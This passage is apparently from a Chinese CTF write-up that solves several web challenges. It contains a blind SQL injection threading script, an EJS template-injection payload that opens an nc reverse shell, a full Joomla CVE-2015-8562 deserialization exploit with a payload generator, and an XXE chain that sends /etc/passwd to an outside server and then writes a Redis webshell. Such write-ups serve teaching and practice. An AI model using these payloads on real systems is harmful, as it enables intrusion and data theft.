burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "https://unforgettable.liki.link/", "Upgrade-Insecure-Requests": "1", "X-Forwarded-For": "127.0.0.1", "X-Originating-IP": "127.0.0.1"}
s.get(burp0_url, headers=burp0_headers)
else:
print("登录失败")
else:
print("注册失败")
thr1 = threading.Thread(target=booltest, args=(1, 4, 1 ),name="1")
thr2 = threading.Thread(target=booltest, args=(4, 7, 2),name="2")
thr3 = threading.Thread(target=booltest, args=(7, 10, 3),name="3")
thr4 = threading.Thread(target=booltest, args=(10, 13, 4),name="4")
thr5 = threading.Thread(target=booltest, args=(13, 16, 5),name="5")
thr6 = threading.Thread(target=booltest, args=(16, 19, 6),name="6")
thr7 = threading.Thread(target=booltest, args=(19, 22, 7),name="7")
thr8 = threading.Thread(target=booltest, args=(22, 25, 8),name="8")
thr9 = threading.Thread(target=booltest, args=(25, 28, 9),name="9")
thr10 = threading.Thread(target=booltest, args=(28, 31, 10),name="10")
thr1.start()
thr2.start()
thr3.start()
thr4.start()
thr5.start()
thr6.start()
thr7.start()
thr8.start()
thr9.start()
thr10.start()
因为步骤比较多,属实有点慢,因此开了10个线程
再用小脚本处理一下得到flag
a=['', '0rm', '_i5', '_th', '3_s', '0lu', '7io', 'nnn', 'nnn', '', 'nnn']
for i in a:
print(i,end="")
还有就是不知道为什么后门会多出来字符。。可以用sql中的reverse()加在盲注那里,判断一下结尾有几个n/g
web2
首先源码拉下来本地调试
{"name":"1","discription":"1","__proto__":{"crying":1}}
打进去发现__proto__
已经被污染了。
因为data.crying
在赋值的时候data
并没有crying
属性,于是在data的父类__proto__
中找到了crying
属性,给req.session.crying
赋值
有了req.session.crying
就可以进/wish
路由了。
里面是一个ejs的ssti。
本地打一发<%global.process.mainModule.constructor._load('child_process').exec('calc')%>
成功RCE。
远程弹shell<%global.process.mainModule.constructor._load('child_process').exec('nc ip port -e /bin/sh')%>
服务器没curl,只有nc
web3
vulhub上的一个漏洞复现:(CVE-2015-8562)Joomla 3.4.5 反序列化漏洞
先下载原版diff。发现只有session.php有一点不一样,出题人加了点waf。不过很容易绕。
会把第一个匹配到的丨换成空,那payload前面再加一个丨就可以了。
https://www.zhihuifly.com/t/topic/2997
根据这篇,里面有RCE的脚本。
payload:
User-Agent: |}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:288:"eval(chr(118).chr(97).chr(114).chr(95).chr(100).chr(117).chr(109).chr(112).chr(40).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(34).chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103).chr(34).chr(41).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ðýýý
生成payload脚本
import requests
import subprocess
import argparse
import sys
import base64
import string
import random
import time
import urllib3
def php_str_noquotes(data):
# Convert string to chr(xx).chr(xx) for use in php
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd'
exploit_template = r'''|}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
print(generate_payload('var_dump(system("cat /flag"));'))
final
HealthCheck
思路: XXE盲打+SSRF+redis getshell
POST:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://47.97.123.81/xml.dtd">
%remote;%int;%send;
VPS上 xml.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://47.97.123.81:11452?p=%file;'>">
这样,靶机远程访问vps上的xml.dtd,把/etc/passwd
写入file,然后靶机带着file的base64之后的值访问我的服务器。这时服务器接到了数据。
读一下/etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.34 secret_web
172.18.0.17 f8d4ddc8ec7d
发现一台内网主机。
再读一下源码/var/www/html/checkin.php
<?php
error_reporting(0);
include_once "config.php";
libxml_disable_entity_loader(false);
$xml = file_get_contents("php://input");
$template = "<result><code>%d</code><msg>%s</msg></result>";
$result = null;
try{
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$sid = $creds->sid;
$name = $creds->name;
$timestamp = $creds->timestamp;
$healthCode = $creds->healthCode;
// 提供信息不全
if($sid == "" || $name == "" || $timestamp == "" || $healthCode ==""){
$result = sprintf($template,0,"请填写信息!");
die($result);
}
// 已有签到记录
if((boolean)$redis->hGetAll($sid)){
$result = sprintf($template,0,"您已签到!");
die($result);
}
// 记录签到信息
$redis->hSet($sid,'name',$name);
$redis->hSet($sid,'healthCode',$healthCode);
$exspire = $timestamp +
$redis->expire($sid,$timestamp + 86400);
$result = sprintf($template,1,"签到成功!");
}catch (Exception $e){
$result = sprintf($template,0,"提交失败!");
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
有个config.php
再读读看。
<?php
//连接本地的 Redis 服务
$redis = new Redis();
$redis->connect('172.18.0.34', 6379);
应该是要SSRF打redis
先看下内网里有什么
访问了一下172.18.0.34
Please visit with your token! /?url=http://token-checker/?token=xxxxx
再带着token访问一下,给了个路径
Your sandbox: /var/www/html/sandbox/845b77566a34aeb48e2c0ca9cfe25801
给了物理路径,应该是redis写webshell了。
自己的脚本跑出来的死活写不了shell。。还是工具好用。
打进去写shell。
注意要二次编码。
读flag发现没权限,有readflag
最终payload
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.18.0.34/sandbox/845b77566a34aeb48e2c0ca9cfe25801//shell.php?cmd=/readflag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://47.97.123.81:11452?p=%file;'>">